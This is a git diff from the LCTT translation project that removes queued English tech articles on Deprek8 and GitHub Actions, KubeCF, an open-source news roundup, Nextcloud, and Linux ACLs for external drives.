updated, it's checked to make sure it's not using any deprecated APIs. - -First, rig up your workflow with some names and the events that you want to trigger off of. Give your workflow and job a useful name that will help you identify it (and what it does). - - -``` -name: API Deprecation Check -on: pull_request, push -jobs: - deprecation-check: -``` - -Next, you need to tell your workflow that you want to trigger these Actions based on any **pull_request** or **push** that happens to this repository because these are the two main events that get new code into a repository. You can do this by utilizing the **on** keyword. - - -``` -name: API Deprecation Check -on: pull_request, push -jobs: -  deprecation-check: -    runs-on: ubuntu-latest -    steps: -      - uses: actions/checkout@master -``` - -Then, add where you want these Actions to run and how the Action can get the code. You can tell the Action where to run by using the **runs-on** keyword. You have a few options here: Windows, Mac, or Ubuntu. In most cases, using Ubuntu is fine, as you'll frequently rely on Actions that run inside their own container (versus running on the base OS that you define here). It's also very important to understand that an Action does not check out code by default. When you need to do something that interacts with your code, make sure to use the Action **actions/checkout**. When this is included, your code will be available within your Action, and you can pass that through to the next step in your workflow. - - -``` -name: API Deprecation Check -on: pull_request, push -name: API Deprecation Check -jobs: -  deprecation-check: -    runs-on: ubuntu-latest -    steps: -      - uses: actions/checkout@master -      - name: curl -        uses: wei/curl@master -        with: -          args: > /github/home/deprek8.rego -``` - -Now that your code is checked out, you can start preparing to do something with it. As mentioned, before you can check code for deprecations, you first need the file that contains the policies that you want to check for, so just retrieve the file using the **curl** Action. This is a fairly straightforward Action, in that it accepts whatever parameters you would normally pass into the curl command. If you were doing something more complicated, this is where you could pass in things like specific HTTP Actions, headers, etc. However, in this case, you're just trying to retrieve a file, so the only thing you need to pass to your Action is the URL you want to retrieve (in this case, the one that contains your raw policy file) and then tell it where you want to write that file. In this case, you're going to have it write to **/github/home**. Why? It's because this filesystem persists between steps and will allow you to use the policy file within this next step. - - -``` -name: API Deprecation Check -on: pull_request, push -jobs: -  deprecation-check: -    runs-on: ubuntu-latest -    steps: -      - uses: actions/checkout@master -      - name: curl -        uses: wei/curl@master -        with: -          args: > /github/home/deprek8.rego -      - name: Check helm chart for deprecation -        uses: instrumenta/conftest-action/helm@master -        with: -          chart: nginx-test -          policy: /github/home/deprek8.rego -``` - -Now that you have your policy file, it's just a matter of running it against the code via **conftest**. Similar to the **curl** Action, the **conftest** Action just expects a series of parameters to understand how it should run against the code. In the example above, it runs against a Helm chart, but it can run against a specific file (or set of files) by changing the **uses** value to **instrumenta/[conftest-action@master][13]**. Just point to the path where your chart sits in the repository and then provide the path to your policy file (specified in the previous step). Once you have all of this together, you have a complete workflow. But what does this look like (assuming there's some bad code in your Helm chart)? To find out, take a look at the [example repository][14]. - -In the Nginx Helm chart, you'll notice that one of the templates is a [statefulset][15]. You may also notice that the apiVersion the StatefulSet is using is **apps/v1beta1**. This API was deprecated in Kubernetes 1.16 and is now hosted in **apps/v1**. So when your GitHub Actions workflow runs, it should detect this issue and serve an error like: - - -``` -FAIL - StatefulSetf/web: API apps/v1beta1 is no longer served by default, use apps/v1 instead. -Error: plugin "conftest" exited with error -##[error]Docker run failed with exit code 1 -``` - -The Action indicates there is something wrong and then fails the rest of the Action. You can see the [full workflow][16] if you are interested. - -### Wrapping up - -This workflow will save some future heartache by alerting you to any deprecated APIs that slip into your codebase. To be clear, this is an _alerting_ mechanism. This won't prevent you from merging bad code into your codebase. But, as long as you pay attention, you should be completely aware prior to (or just after) merging problematic code. - -Where do you go from here? Well, there are a few things to keep in mind. Currently, Deprek8 is up to date as of Kubernetes 1.16. If you're interested in more recent versions, I'm sure Deprek8 would be happy to accept your [pull request][3]. - -The other shortcoming of this method is that the **conftest** and GitHub Actions are a bit limited in that they only allow you to point at specific files or a single chart at a time. What if you want to point at multiple directories of manifests or have multiple charts inside your repository? Currently, the only way to get around that is to either list out every single file you're interested in (in the case of having multiple charts) or have multiple steps inside your workflow. Other scenarios could become problematic, like other templating engines that require some custom logic to pair the parameters and template files together. But a simple workaround for that could be to have a step in your workflow that pulls down Conftest along with a tiny inline script to loop through some of this. I'm sure there are more elegant solutions (and if you come up with one, I'm sure these projects would be more than happy to take a look at your PR). - -Regardless, you now have a mechanism that should allow you to sleep a bit easier when checking in your code! And hopefully, this method will help you build even more robust workflows to protect your code. - -* * * - -_This was originally published in [Tyler Auerbeck's GitHub repository][17] and is reposted, with edits, with permission._ - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/3/deprek8 - -作者:[Tyler Auerbeck][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/tylerauerbeck -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/ship_captain_devops_kubernetes_steer.png?itok=LAHfIpek (Ship captain sailing the Kubernetes seas) -[2]: https://opensource.com/resources/what-is-kubernetes -[3]: https://github.com/naquada/deprek8 -[4]: https://github.com/open-policy-agent/opa -[5]: https://blog.openpolicyagent.org/opas-full-stack-policy-language-caeaadb1e077 -[6]: https://github.com/instrumenta/conftest -[7]: https://github.com/instrumenta/conftest/tree/master/docs -[8]: https://github.com/features/actions -[9]: https://github.com/marketplace?type=actions -[10]: https://github.com/marketplace/actions/github-action-for-curl -[11]: https://github.com/instrumenta/conftest-action -[12]: https://help.github.com/en/actions -[13]: mailto:conftest-action@master -[14]: https://github.com/tylerauerbeck/deprek8-example -[15]: https://raw.githubusercontent.com/tylerauerbeck/deprek8-example/master/nginx-test/templates/statefulset.yaml -[16]: https://github.com/tylerauerbeck/deprek8-example/runs/426774566?check_suite_focus=true -[17]: https://github.com/tylerauerbeck/writing/blob/master/opa/deprek8.md diff --git a/sources/tech/20200327 KubeCF Is What DevOps Wanted- Marrying Cloud Foundry with Kubernetes.md b/sources/tech/20200327 KubeCF Is What DevOps Wanted- Marrying Cloud Foundry with Kubernetes.md deleted file mode 100644 index f306d94bc7..0000000000 --- a/sources/tech/20200327 KubeCF Is What DevOps Wanted- Marrying Cloud Foundry with Kubernetes.md +++ /dev/null @@ -1,79 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (KubeCF Is What DevOps Wanted: Marrying Cloud Foundry with Kubernetes ) -[#]: via: (https://www.linux.com/articles/kubecf-is-what-devops-wanted-marrying-cloud-foundry-with-kubernetes/) -[#]: author: (Swapnil Bhartiya https://www.linux.com/author/swapnil/) - -KubeCF Is What DevOps Wanted: Marrying Cloud Foundry with Kubernetes  -====== - -[![][1]][2] - -There are times when solutions that  seem to compete against each other turn out to be complementary. [This is exactly what happened with Cloud Foundry and Kubernetes. ][3] - -“Enterprises have moved on from the debate around Cloud Foundry Application Runtime or PaaS experience versus Kubernetes-based experience, and have opted to adopt both. The PaaS experience that Cloud Foundry offers is about optimizing developer time by allowing them to focus on business problems. Let them focus on the app they’re trying to build, not on the plumbing underneath it,” says Chip Childers, CTO at Cloud Foundry ​Foundation. - -“There are plenty of use cases that don’t fit into a PaaS-style architecture. If you look at the breadth of architectures that a typical enterprise deals with, there are tons of applications that you need to just wrap the thing in a container and operate it that way,” he says. - -**Integrating Cloud Foundry and Kubernetes ** - -To incorporate Kubernetes into the Cloud Foundry architecture so Cloud Foundry users can use Kubernetes as an alternative to Diego/Garden to orchestrate application container instances, Cloud Foundry Foundation kickstarted an initiative called [Project Eirini][4]. - -Similarly, [Project Quarks][5] is another incubating effort within the Cloud Foundry Foundation that is focused on packaging the Cloud Foundry Application Runtime as a set of containers instead of virtual machines, enabling easier deployment to Kubernetes. - -“Project Quarks took some code from SUSE called Fizzle. It would take the type of release artifact that our project teams were generally releasing for their component of the system, and work it into a usable Docker image. Then they would use Helm and some scripts to deploy that into Kubernetes,” said Childers. - -There was, however, one crucial piece of the jigsaw missing. - -“There was this code that SUSE had been working on. It was the basis of the SUSE product called SCF (SUSE Cloud Foundry). SCF became [KubeCF][6]. It creates a Kubernetes native distribution of Cloud Foundry,” reveals Childers. - -KubeCF recently hit its 1.0 release. So, where does KubeCF go from here? - -“Presenty, we can look at it as the easiest path to a Kubernetes-native Cloud Foundry for pure open search users. There are some other efforts that are happening in parallel that are taking a look at each component of the Cloud Foundry architecture. Project architects are working towards allowing people to take KubeCF, deploy the whole system to Kubernetes, and take advantage of the simplicity that gets enabled as code gets modified,” says Childers. - -**Developers First: Ensuring Seamless UX** - -One of the strengths of the Cloud Foundry community is that it has always offered a distribution. There is still a distribution called CF deployment, which is based on a VM-centric architecture that uses the Cloud Foundry BOSH platform to orchestrate infrastructures and service environments (or virtualized environments like V-sphere) to deploy VMs and then run the system on top of it. - -However, distribution also entails members of the ecosystem packaging it or dictating with their own offerings. In such a scenario, how can developers expect consistency across the distros? - -“The commonality between both upstream releases — the CF deployment and KubeCF — lies in the components that they sew together to create the Cloud Foundry platform. The Cloud Foundry Platform certification continues to be based on the idea that a certified distribution uses those components in an unmodified way, and integrates them to create that developer experience,” Childers explains. - -“So, regardless of whether you’re deploying to Kubernetes or you’re deploying to virtual machines, regardless of the certified vendor that you use, or if you use upstream distributions, you should have that same developer experience. That’s what Platform Certification ensures,” he says. - -Operational consistency is less a concern for the ecosystem and the community because many of these providers are offering it as a service. “Those that do it as subscription-based software delivery have a lot of tooling around operations that’s specific to them plus all of the other values that they bring together,” Childers avers. - -**Evolution Unabated** - -The KubeCF distribution has finally put the debate of ‘Do I use Kubernetes or do I use Cloud Foundry?’ to rest. - -“The answer should’ve always been ‘You use both.’ The architecture fits one on top of the other very nicely, and overcomes the concerns of dual stacks,” says Childers. - -With the ‘either-or’ debate over, Chip intends to further evolve this architecture, thereby offering an enormous amount of value to enterprises trying to deal with container-centric infrastructure management and developer productivity. - -“We’ve completely re-converged as an ecosystem around embracing the Kubernetes-based infrastructure as being the most popular and rising approach. We’ve been evolving this architecture as a community for years now,” he says. - -“There are huge engineering and commercial teams supporting Kubernetes. VMware has an enormous investment in Kubernetes, and it continues to increase that investment. With the acquisition of Pivotal, VMware also has a huge amount of investment in Cloud Foundry. It’s working aggressively on the mission of bringing the two together. We see the same traction with SAP, IBM, and SUSE, which presents a lot of opportunities for everybody,” adds Childers. - --------------------------------------------------------------------------------- - -via: https://www.linux.com/articles/kubecf-is-what-devops-wanted-marrying-cloud-foundry-with-kubernetes/ - -作者:[Swapnil Bhartiya][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.linux.com/author/swapnil/ -[b]: https://github.com/lujun9972 -[1]: https://www.linux.com/wp-content/uploads/2020/03/color-3580779_1920-1068x667.jpg (color-3580779_1920) -[2]: https://www.linux.com/wp-content/uploads/2020/03/color-3580779_1920.jpg -[3]: https://www.tfir.io/kubecf-a-kubernetes-native-distribution-of-cloud-foundry-chip-childers-cto-cloud-foundry-%e2%80%8bfoundation/ -[4]: https://www.cloudfoundry.org/project-eirini/ -[5]: https://www.cloudfoundry.org/project-quarks/ -[6]: https://github.com/cloudfoundry-incubator/kubecf diff --git a/sources/tech/20200328 Open source fights against COVID-19, Google-s new security tool written in Python, and more open source news.md b/sources/tech/20200328 Open source fights against COVID-19, Google-s new security tool written in Python, and more open source news.md deleted file mode 100644 index dce9c83a0e..0000000000 --- a/sources/tech/20200328 Open source fights against COVID-19, Google-s new security tool written in Python, and more open source news.md +++ /dev/null @@ -1,82 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Open source fights against COVID-19, Google's new security tool written in Python, and more open source news) -[#]: via: (https://opensource.com/article/20/3/news-march-28) -[#]: author: (Scott Nesbitt https://opensource.com/users/scottnesbitt) - -Open source fights against COVID-19, Google's new security tool written in Python, and more open source news -====== -Catch up on the biggest open source headlines from the past two weeks. -![][1] - -In this edition of our open source news roundup, we take a look open source solutions for COVID-19, Google's new security tool, code cleanup software from Uber, and more! - -### Using open source in the fight against COVID-19 - -When COVID-19 started its march around the world, open source [stepped up][2] to try to help stop it. That includes using open data to [create tracking dashboards and apps][3], designing ventilators, and developing protective gear. - -Scientists at the University of Waterloo in Canada have teamed with artificial intelligence firm DarwinAI to create an open source tool "[to identify signs of Covid-19 in chest x-rays][4]." Called COVID-Net, it's neural network "that is particularly good at recognizing images." The dataset the researchers are using is [available on GitHub][5], which includes a link the software. - -Additionally, many [open source hardware projects][6] are underway to expedite the search for a cure.  - -### Google releases tool to fight USB keystroke injection attacks - -One of the sneakiest and potentially most malicious ways to hack a computer is a USB keystroke injection attack. Using a compromised USB device connected to a computer, a hacker can run commands without you even noticing. Google's making it easier for Linux users to fight back against these kinds of attacks by releasing [an open source detection tool][7]. - -Called USB Keystroke Injection Protection, the tool detects "if the keystrokes have been made without human involvement". It does that by measuring "the timing of keystrokes coming from connected USB devices." Sebastian Neuner of Google's Information Security Engineering Team said that while the USB Keystroke Injection Protection tool isn't the last word in defense against these kinds of attacks, but offers "another layer of protection and to defend a user sitting in front of their unlocked machine by them seeing the attack happening." - -You can find the Python source code for the tool [on GitHub][8]. - -### Uber makes code deletion tool open source - -As applications get bigger, they often contain code that's either no longer used or which is obsolete. That added code make software more difficult to maintain. To help solve the problem of quickly finding that redundant code, Uber recently [open sourced a tool called Pirhana][9]. - -Pirhana scans code for [feature flags][10], looking for ones that are no longer used. The software then deletes the unused flags from the code. At the moment, Pirhana works with software written in the Objective-C, Swift, and Java languages. Uber's developers hope the number of supported languages will increase "now that outside developers have an opportunity to contribute to the project." - -You can grab [Pirhana's source code][11] from its repository on GitHub - -#### In other news - - * [Singapore government to open source contact-tracing protocol][12] - * [European Commission to use open source messaging service Signal][13] - * [Spanish software to computerize healthcare in Cameroon and India][14] - * [ING Open-Sources Lion, Its White-Label Web Component Library][15] - * [Open Source Goes Mainstream – How Sharing Is Shaping The Future Of Music][16] - - - -Thanks, as always, to Opensource.com staff members and [Correspondents][17] for their help this week. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/3/news-march-28 - -作者:[Scott Nesbitt][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/scottnesbitt -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/weekly_news_roundup_tv.png?itok=tibLvjBd -[2]: https://jaxenter.com/covid-19-open-source-170237.html -[3]: https://opensource.com/article/20/3/open-source-software-covid19 -[4]: https://www.technologyreview.com/s/615399/coronavirus-neural-network-can-help-spot-covid-19-in-chest-x-ray-pneumonia/ -[5]: https://github.com/lindawangg/COVID-Net -[6]: https://opensource.com/article/20/3/open-hardware-covid19 -[7]: https://www.zdnet.com/article/google-linux-systems-can-use-this-new-tool-against-usb-keystroke-injection-attacks/ -[8]: https://github.com/google/ukip -[9]: https://siliconangle.com/2020/03/17/ubers-open-source-piranha-tool-hunts-redundant-application-code/ -[10]: https://en.wikipedia.org/wiki/Feature_toggle -[11]: https://github.com/uber/piranha -[12]: https://www.computerweekly.com/news/252480501/Singapore-government-to-open-source-contact-tracing-protocol -[13]: https://joinup.ec.europa.eu/collection/open-source-observatory-osor/news/signal-messaging-service -[14]: https://intallaght.ie/spanish-software-to-computerize-healthcare-in-cameroon-and-india/ -[15]: https://www.infoq.com/articles/ing-open-sources-lion-web-component/ -[16]: https://www.forbes.com/sites/andreazarczynski/2020/03/19/open-source-goes-mainstream--how-sharing-is-shaping-the-future-of-music/#9e1ca1290013 -[17]: https://opensource.com/correspondent-program diff --git a/sources/tech/20200329 Nextcloud- The Swiss Army Knife of Remote Working Tools.md b/sources/tech/20200329 Nextcloud- The Swiss Army Knife of Remote Working Tools.md deleted file mode 100644 index 82d84f984b..0000000000 --- a/sources/tech/20200329 Nextcloud- The Swiss Army Knife of Remote Working Tools.md +++ /dev/null @@ -1,154 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Nextcloud: The Swiss Army Knife of Remote Working Tools) -[#]: via: (https://itsfoss.com/nextcloud/) -[#]: author: (Abhishek Prakash https://itsfoss.com/author/abhishek/) - -Nextcloud: The Swiss Army Knife of Remote Working Tools -====== - -Remote working culture has been booming for past few years in coding, graphics and other IT related fields. But the recent [Coronavirus pandemic][1] has made it mandatory for the companies to work from home if it’s possible for them. - -While there are tons of tools to help you and your organization in working from home, let me share one open source software that has the features of several such tools combined into one. - -### Nextcloud Hub: A Suite of Essential Tools for Remote Collaboration - -[Nextcloud][2] is an open source software that can be used to store files, photos and videos for personal usage like Dropbox. But it’s more than just a private [cloud service][3]. - -You can add more than one users in Nextcloud and turn it into a collaboration platform for editing files in real time, chat with users, manage calendars, assign and manage tasks and more. - -This video gives a good overview of its main features: - -[Subscribe to our YouTube channel for more Linux videos][4] - -### Main Features of Nextcloud - -Let me highlight the main features of Nextcloud: - -#### Sync files and share - -![Nextcloud Files][5] - -You can create workspaces based on user groups and share files in those folders. Users can create private files and folders and share them with selected users internally or externally (if they are allowed to). You can lock files in read only mode as well. - -It also has a very powerful search feature that lets you search files from their name or tags. You can comment on files to provide feedback. - -Text files can be edited in real time thanks to its builtin markdown editor. You can use OnlyOffice or Collabora to allow editing of docs, spreadsheet and presentations in real time. - -It also has version control for the files so that you can revert changes easily. - -#### Text Chat, Audio Chat, Video Chat and Web Meetings - -![Nextcloud Video Call][6] - -With NextCloud Talk, you can interact with other users by text messaging, audio calls, video calls and group calls for web meetings. You can also take meeting minutes during the video calls and share your screen for presentations. There is also a mobile app to stay connected all the time. - -You can also create Slack like channels (known as circles) to communicate between members concerned with a specific topic. - -#### Calendar, Contacts & Mail - -![Calendar Nextcloud][7] - -You can manage all of your organization’s contact, divide them into groups based on departments. - -With the calendar, you can see when someone is free or what meetings are taking place, like you do on Outlook. - -You can also use the Mail feature and import the emails from other providers to use them inside Nextcloud interface. - -#### Kanban project management with Deck - -![][8] - -Like Trello and Jira, you can create boards for various projects. You can create cards for each tasks, assign them to users and they can move it between the list based on the status of the task. It’s really up to you how you create boards to manage your projects in Kanban style. - -#### Plenty of add-ons to get more out of Nextcloud - -![Password Manager][9] - -Nextcloud also has several add-ons (called apps). Some are developed by Nextcloud teams while some are from third-party developers. You may use them to extend the capability of Nextcloud. - -For example, you can add a [Feedly style feed reader][10] and read news from various sources. Similarly, the [Paswords addon][11] lets you use Netxcloud as a password manager. You can even share common passwords with other Nextcloud users. - -You can explore [all the apps on its website][12]. You’ll also notice the ratings of apps that will help you decide if you should use an app or not. - -#### Many more features - -Let me summarize all the features here: - - * Open source software that lets you own your data on your own servers - * Seamlessly edit office documents together with others - * Communicate with other members of your organization and do audio and video calls and held web meetings - * Calendar lets you book meetings, brings busy view for meetings and resource booking and more - * Manage users locally or authenticate through LDAP / Active Directory, Kerberos and Shibboleth / SAML 2.0 and more - * Secure data with powerful file access control, multi-layer encryption, machine-learning based authentication protection and advanced ransomware recovery capabilities - * Access existing storage silos like FTP, Windows Network Drives, SharePoint, Object Storage and Samba shares seamlessly through Nextcloud. - * Automation: Automatically turn documents in PDFs, send messages to chat rooms and more! - * Built in ONLYOFFICE makes collaborative editing of Microsoft Office documents accessible to everyone - * Users can install desktop and mobile apps or simply use it in web browser - - - -### How to get Nextcloud - -![][13] - -NextCloud is free and open source software. You can download it and install it on your own server. - -You can use cloud server providers like [Linode][14] or [DigitalOcean][15] that allow you to deploy a brand new Linux server within minutes. And then you can use Docker to install NextCloud. At It’s FOSS, we use [Linode][14] for our NextCloud instance. - -If you don’t want to do that, you can [signup with one of the Nextcloud partners][16] that provide you with configured Nextcloud instance. Some providers also provide a few GB of free data to try it. - -Nextcloud also has an [enterprise plan][17] where Nextcloud team itself handles everything for the users and provide premium support. You can check their pricing [here][18]. - -If you decide to use Nextcloud, you should refer to its documentation or community forum to explore all its features. - -### Conclusion - -At It’s FOSS, our entire team works remote. We have no centralized office anywhere and all of us work from our home. Initially we relied on non-open source tools like Slack, Google Drive etc but lately we are migrating to their open source alternatives. - -Nextcloud is one of the first software we tried internally. It has features of Dropbox, Google Docs, [Slack][19], [Trello][20], Google Hangout all combined in one software. - -NextCloud works for most part but we found it struggling with the video calls. I think that has to do with the fact that we have it installed on a server with 1 GB of RAM that also runs some other web services like [Ghost CMS][21]. We plan to move it to a server with better specs. We’ll see if that should address these issues. - -Since the entire world is struggling with the Coronavirus pandemic, using a solution like Nextcloud could be helpful for you and your organization in working from home. - -How are you coping during the Coronavirus lockdown? Like [Linus Torvalds’ advice on remote working][22], do you also have some suggestion to share with the rest of us? Please feel free to use the comment section. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/nextcloud/ - -作者:[Abhishek Prakash][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/abhishek/ -[b]: https://github.com/lujun9972 -[1]: https://en.wikipedia.org/wiki/2019%E2%80%9320_coronavirus_pandemic -[2]: https://nextcloud.com/ -[3]: https://itsfoss.com/cloud-services-linux/ -[4]: https://www.youtube.com/c/itsfoss?sub_confirmation=1 -[5]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/03/nextcloud_files.png?ssl=1 -[6]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/03/nextcloud_video_call.jpg?ssl=1 -[7]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/03/calendar_nextcloud.jpeg?ssl=1 -[8]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/03/nextcloud_kanban_project_management_app.jpeg?ssl=1 -[9]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/03/passman.png?fit=800%2C389&ssl=1 -[10]: https://apps.nextcloud.com/apps/news -[11]: https://apps.nextcloud.com/apps/passwords -[12]: https://apps.nextcloud.com/ -[13]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/03/nextcloud-feature.jpg?ssl=1 -[14]: https://www.linode.com/?r=19db9d1ce8c1c91023c7afef87a28ce8c8c067bd -[15]: https://m.do.co/c/d58840562553 -[16]: https://nextcloud.com/signup/ -[17]: https://nextcloud.com/enterprise/ -[18]: https://nextcloud.com/pricing/ -[19]: https://slack.com/ -[20]: https://trello.com/ -[21]: https://itsfoss.com/ghost-3-release/ -[22]: https://itsfoss.com/torvalds-remote-work-advice/ diff --git a/sources/tech/20200330 Access control lists and external drives on Linux- What you need to know.md b/sources/tech/20200330 Access control lists and external drives on Linux- What you need to know.md deleted file mode 100644 index 079e775ce1..0000000000 --- a/sources/tech/20200330 Access control lists and external drives on Linux- What you need to know.md +++ /dev/null @@ -1,233 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Access control lists and external drives on Linux: What you need to know) -[#]: via: (https://opensource.com/article/20/3/external-drives-linux) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) - -Access control lists and external drives on Linux: What you need to know -====== -Learn how to use external drives correctly on Linux. -![Penguin driving a car with a yellow background][1] - -While cloud storage offers many advantages, there's nothing quite like having your data on a physical hard drive. When you save data to a drive, you know exactly where your data is, and it's always available when you need it. When you save data to an external portable drive like a USB thumb drive, it's even better—not only do you know where your data is, but you can take your data with you everywhere you go. If you're new to [Linux][2], or you're trying to use a Linux file system on an external drive, you might find external drives confusing, being prone to permission errors or conflicts, or even losing metadata. - -There are two "right" answers to this: - -### ExFAT - -Formerly, ExFAT was a file system fraught with legal threats from Microsoft because they own the code. They've sued companies and organizations before to defend their ownership of FAT, so it was commonly feared that they could do the same over ExFAT. However, recently. Microsoft made the specifications for ExFAT open source. They didn't provide a driver, unfortunately, but there's an existing drive to make it function on Linux, and, now that developers have access to the full specs, improvements are inevitable. - -The advantage of ExFAT is that it's cross-platform (Windows, Mac, and many portable devices use it), and it's designed without the overhead of file permissions. You can attach a drive formatted as ExFAT to any computer, and all files are available to anyone. Whether that's good or bad depends on your use case, but for portable media, that's often exactly the intent. - -### Access control lists (ACL) - -If you prefer to use a Linux file system on your portable drive, then you can do that, but to make sharing files seamless, you should use access control lists (ACL). - -When you create a file or directory on a drive, there are defaults on your system determining what file permissions it gets. For most cases, those defaults make sense—when you create a file in your home directory, you probably don't want other users to have access to that file. However, when you're creating a file on an external drive, there's a high likelihood that it's because you need to share that file with someone else (even if that someone is you on another computer). - -You can override default permissions for file viewing with an ACL, and you can control default file creation mode by setting a sticky bit. An ACL is a layer of security policies in the extended attributes of directories and files. It allows you to specify exceptions to what the file system permissions indicate. Most notably, this allows you to transcend the single-owner and single-group model of traditional UNIX permissions. - -For instance, while the **seth** (ID 1000) account might own a directory created on my desktop, **seth** (ID 500) on my laptop does not, because the user IDs are different. - -The same could be true for a group. If a directory with group ID 1000 is assigned to a directory on one computer, then a group with an ID 500 or 10922 doesn't have access to it on another computer. But an ACL can add secondary owners and groups to directories and files. - -#### View the current ACL - -Any directory and file on any common Linux filesystem has ACL rules by default. They're stored in extended attributes, a kind of metadata that you don't normally see. - -You can view them in the terminal: - - -``` -$ getfacl ./example -# file: /run/media/drive/example -# owner: seth -# group: users -user::rwx -group::rwx -other::r-- -``` - -The commented lines are just for your reference; they tell you the path, and the owner and group, of the file or directory you're viewing information about. The next lines display the rules applied to the file or directory. In this example, the user permissions are set to **rwx**, the group to **r-x**, and other to **r-x**. These permissions are reflected by a normal filesystem list: - - -``` -$ ls -lA /run/media/drive -drwxrwxr-- 26 seth users 4096 Jan 16 21:04 example -$ id -uid=1000(seth) gid=100(users) groups=100(users)... -``` - -As long as user **seth** (UID 1000) or a member of **group** (GID 100) interacts with the **example** directory, full access is granted. Any other account, however, has only read (**r**) permission. - -#### Setting an ACL - -To modify an ACL, you use the **setfacl** command or use a file manager with ACL support. You can be very specific or very generic when setting your ACL. - -To just modify the filesystem permission settings, you can use either **chmod** or **setfacl**. This is a very generic ACL setting because you're not adding anything to the permissions already available to UNIX from the filesystem specification. - - -``` -$ setfacl --modify g::r example -$ getfacl ./example | grep "group::" -group::r-- -$ ls -l . | grep example -drwxr--r-- 26 seth users 4096 Jan 16 21:04 example -``` - -The same effect is available through **chmod**: - - -``` -$ chmod g+x example -$ getfacl ./example | grep "group::" -group::r-x -$ ls -l . | grep example -drwxr-xr-- 26 seth users 4096 Jan 16 21:04 example -``` - -#### Adding users and groups - -To really benefit from an ACL is to use it for permissions outside the scope of native UNIX permissions. If I'm logged into my desktop as **seth** with user ID 1000, and I know that a directory on my portable drive needs to be usable by **seth** with ID 500 on my laptop, then just declaring **seth** as owner isn't enough because the user IDs aren't the same. - -You can add a user or user ID to an access control list: - - -``` -$ setfacl --modify u:500:rwx example -$ getfacl example -# file: /run/media/drive/example -# owner: seth -# group: users -user::rwx -user:500:rwx -[...] -``` - -A new entry, specific to user ID 500, has been added to the list. Attaching the drive to another Linux or UNIX computer now allows the user with ID 500 to access the **example** folder. - -You can also add users by account name, or groups by either group name or group ID. The IDs are what really count with permissions, though, so if you're in a mixed environment (RHEL servers and Elementary clients, for example), you should verify the user IDs and group IDs lurking behind accounts that seem, on the surface, identical. - -#### Setting default ACL rules - -If you treat access control as a one-time setting, you'll quickly run into problems once your different user accounts start creating files and directories. Any new file or directory created by each user inherits the system's default permissions (and ACL). This means that once laptop user **seth** with ID 500 creates a file in a directory, it could be off-limits to desktop user **seth** with ID 1000 because the owner of the file is set to UID 500. - -A default ACL can be applied to directories so that files and subdirectories created within them inherit the parent ACL. You can set the default ACL of a directory with the **–default** option: - - -``` -$ setfacl --default --modify u:500:rwx example -$ setfacl --default --modify u:1000:rwx example -$ getfacl --omit-header example -user::rwx -user:500:rwx -group::rw- -mask::rwx -other::r-x -default:user::rwx -default:group::rw- -default:group:500:rwx -default:group:1000:rwx -default😷:rwx -default:other::r-x -``` - -When a user creates a new directory within the **example** directory, the inherited ACL is the same as its parent: - - -``` -$ cd example -$ mkdir penguins -$ getfacl --omit-header penguins -user::rwx -group::rw- -group:500:rwx -group:1000:rwx -mask::rwx -other::r-x -default:user::rwx -default:group::rw- -default:group:500:rwx -default:group:1000:rwx -default😷:rwx -default:other::r-x -``` - -This means that any directory or file created inherits the same ACL, so neither user 500 or 1000 are ever excluded from access. - -#### Pragmatic ACL for external drives - -When using a Linux filesystem for external drives, the easy method of ensuring it works with all the users who expect to use the portable drive is to set an ACL on a single top-level directory. - -For instance, assume you have formatted a USB drive called **mydrive** as an ext4 filesystem. You want your account on your laptop and your desktop, as well as your colleague Alice, to be able to access the files. - -First, create a directory at the top level of the drive: - - -``` -$ mkdir /mnt/mydrive/umbrella -``` - -Then apply an ACL to the top-level directory to grant all-important users access: - - -``` -$ setfacl --modify \ -  u:500:rwx,u:1000:rwx,u:alice:rwx \ -  /mnt/mydrive/umbrella -``` - -Finally, apply a default ACL so that all directories and files created within the top-level directory **umbrella** inherit the same default ACL (note that this command uses the short version of **–modify**): - - -``` -$ setfacl --default -m u:500:rwx,u:1000:rwx,u:alice:rwx \ -  /mnt/mydrive/umbrella -``` - -#### Applying defaults to an existing system - -If you need to apply ACL settings to many files that already exist, you can accomplish that with the **find** command. - -First, find all directories and apply ACL rules: - - -``` -$ find /mnt/mydrive/umbrella -type d | \ -  parallel --max-args=6 setfacl \ - 